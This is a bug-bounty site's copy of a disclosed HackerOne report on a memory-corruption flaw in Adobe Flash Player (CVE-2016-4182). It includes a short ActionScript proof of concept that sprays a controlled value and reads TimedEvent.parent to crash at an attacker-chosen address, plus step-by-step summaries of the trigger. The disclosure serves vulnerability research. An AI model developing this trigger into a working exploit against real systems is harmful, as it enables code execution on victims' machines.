Skip to content
Memory corruption Disclosed report Advanced CVE-2016-4182

Adobe Flash Player TimedEvent.parent Memory Corruption Vulnerability

The TimedEvent class in Adobe Flash Player did not properly initialise its parent field, leaving uninitialised memory. An attacker could exploit this to hijack the parent pointer and potentially achieve code execution.

hhj4ck Follow

Originally disclosed on HackerOne

Bounty$5,000 View original
  • Fixed in 41 days
  • Paid in 41 days
  • Disclosed after 3.3 years

I. Summary Adobe Flash Player is prone to a vulnerability which leads to memory corruption because of uninitialize memory of TimedEvent.parent.

II. Description Normally, TimedEvent class should initialize the memory of its parent field. Without proper initialization, one could hijack the the memory address of parent field by construct the TimeEvent Class based on a released memory block. It is possible fake a TimedEvent Class Object via the parent field, type confused class pointer will cause code execution. The poc code trigger the crash while trying to build a TimeEvent Class by calling the contructor at 0x13371337.

POC Source Code: package { import com.adobe.tvsdk.mediacore.events.TimedEvent; import com.adobe.tvsdk.mediacore.metadata.Metadata; import flash.display.Sprite; import flash.utils.ByteArray; import flash.utils.Endian;

public class poc extends Sprite
{
	public function poc()
	{
		var bytes:ByteArray = new ByteArray();
		bytes.endian = Endian.LITTLE_ENDIAN;
		for(var i:int=0;i<0x100/4;i++)
			bytes.writeUnsignedInt(0x13371337);

		var mt:Metadata = new Metadata();
		mt.setByteArray("jack", bytes);

		var obj:TimedEvent = new TimedEvent(0);
		obj.parent;
	}		
}

}

III. Impact Memory Corruption

IV. Affected Adobe Flash Player 21.0.0.242.

V. Credit Wen Guanxing from Pangu LAB is credited for this vulnerability.

It has been assigned as CVE-2016-4182 by Adobe: https://helpx.adobe.com/security/products/flash-player/apsb16-25.html

The original report as published on HackerOne, by hhj4ck. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the TimedEvent class failed to initialise its parent field, leaving uninitialised memory that could be reused.

Impact

Memory corruption could potentially lead to code execution.

What the attacker needed

Adobe Flash Player [redacted]; Ability to run crafted Flash content

How it was found

  1. Create a byte array filled with a chosen value.
  2. Store the byte array in a Metadata object.
  3. Create a TimedEvent object.
  4. Access the parent property of the TimedEvent object.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A class in Flash Player had a field that was not set to a safe value when created. This left old memory contents in place, which an attacker could control to make the program misbehave, possibly running their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by hhj4ck

View all

20 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.